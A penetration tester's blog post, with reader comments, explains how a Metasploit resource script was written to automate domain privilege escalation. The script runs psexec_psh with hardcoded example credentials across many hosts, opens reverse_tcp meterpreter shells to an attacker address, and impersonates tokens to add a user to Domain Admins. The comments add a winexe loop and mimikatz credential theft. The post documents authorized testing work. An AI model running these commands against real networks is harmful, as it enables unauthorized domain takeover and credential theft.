Scripting Metasploit for a Real-Life Pentest

During a recent internal penetration test, we got to the point where we had to search a lot of Windows machines for Domain Admin tokens. Of course, our objective was to impersonate such a  (delegation) token with Metasploit and create our own Domain Admin user.

Since the search space was quite large, we had to automate this task by creating a custom Metasploit script. In this post we describe the process of creating and running such a script.

A bit of context

During our penetration test we’ve managed to obtain the credentials of a privileged user. This user, let’s call him Robert, had local administrative rights on multiple workstations in the Windows domain.

Using Robert’s credentials, we managed to create a low privileged domain user, which we’ll further denote by OurUser, but we were not able to add it to the Domain Admins group.

However, we came up with the idea of using Robert’s credentials to log in to as many hosts as possible and impersonate a more privileged user. By leveraging the impersonated user’s privileges, we hoped we would be able to add OurUser to the Domain Admins group.

We’ve used the SMB Login Check Scanner in Metasploit for determining the range of hosts in the local domain which allowed us access with Robert’s credentials. Armed with this  list, we were faced with the Sisyphean task of connecting to each host and, using a combination of psexec_psh and reverse_tcp, open a meterpreter shell and then issue the appropriate commands.

Fifty hosts away

First of all, msfconsole supports the concept of resource files.  These are basically batch files containing commands and, optionally, ruby code enclosed in tags. Loading these resource files can be accomplished from msfconsole using the resource command, as illustrated below

msf > resource msfconsole.rc

or at startup, using the -r flag.

root@kali:/# msfconsole -r msfconsole.rc

In our case, the resource file looked similar to the one listed below.

<ruby>

# an array of hosts returned by
# SMB Login Check Scanner

hosts = ['10.0.0.1', '10.0.0.2', '10.0.0.3',
         '10.0.0.4', '10.0.0.5', '10.0.0.6']

# msfconsole commands
self.run_single("use exploit/windows/smb/psexec_psh")
self.run_single("set SMBDomain DomainName")
self.run_single("set SMBUser Robert")
self.run_single("set SMBPass rob_s4f3")
self.run_single(
        "set PAYLOAD windows/meterpreter/reverse_tcp")
self.run_single("set LHOST '10.0.0.7'")

# meterpreter batch
self.run_single("set AutoRunScript
        'multi_console_command -rc /autoruncommands.rc")

# main loop, where we connect to each host
# and try to add our user to the required group
hosts.each do |rhost|
        self.run_single("set RHOST #{rhost}")
        self.run_single("exploit")
end     

</ruby>

The key section in the above listing is the one making use of AutoRunScript. This option allows one to specify a script to run automatically on a meterpreter session creation. It’s used when you want to run multiple commands or post scripts after establishing a meterpreter session with a remote host.

We were interested in loading incognito so we can impersonate the available tokens and the try to add the user to the Domain Admins group. The autoruncommands.rc file we wrote for this task is quite basic and is listed below.

use incognito
add_group_user "Domain Admins" OurUser -h 10.0.0.11
quit

Parting thoughts

We found the script to be very useful and it saved us a lot of time and dull effort. We’ve attached a screenshot below so you can get a glimpse of the script while it was still running.

Metasploit Scripting Screenshot

3 thoughts on “Scripting Metasploit for a Real-Life Pentest

  1. Saurabh Harit March 27, 2015 / 8:27 pm

    Nice post. I am curious why not do something like below:
    for a in $(cat domain_hosts.txt) ; do winexe –uninstall –system -U Robert%rob_s4f3 //$a “query session”;done

    The above command will execute “query session” on each host and will output the active users. Once you find out where the one of the domain admins is logged in, connect to it with psexec_psh, load mimikatz and extract creds. That ways, (1) you won’t have to execute a meterpreter payload on each host and (2) won’t have to create a new DA.

    Like

    • Ionuț Ambrosie March 30, 2015 / 1:38 pm

      Hi Saurabh Harit,

      First of all, I have to admit I wasn’t aware of winexe. It looks like a powerful tool. However, from what I understand, in order for you to be able to use the privileges of a domain admin, you need to be lucky enough to find a host where a domain admin is currently logged in. From my experience, this might not be the case. That is the reason behind my token impersonation approach (please correct me if I’m mistaken, but by using my approach, a process running as domain admin would suffice).
      Second, as stated in the beginning of the blog post, creating a DA was one of our objectives during the pentest.

      Thanks for the comment,
      Ionuț Ambrosie

      Like

  2. Saurabh Harit March 30, 2015 / 8:03 pm

    You’re right; however, with winexe, you could also enumerate the running processes and their owners (tasklist -v). You can also script it to extract just the process name and its respective owner. Also, take a look at winexe_pth, which is pass-the-hash version of winexe. I understand that creating a new domain admin was one of the requirements, so its all good in this case. I have noticed that sometimes, network admins would have an alert configured, which would go off if you make any changes to the privileged domain groups. So I tend to avoid that if I can.
    Having said that, I really enjoyed reading your blog post. The Metasploit scripting aspect of it is leet. Thanks for the share.

    Like

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s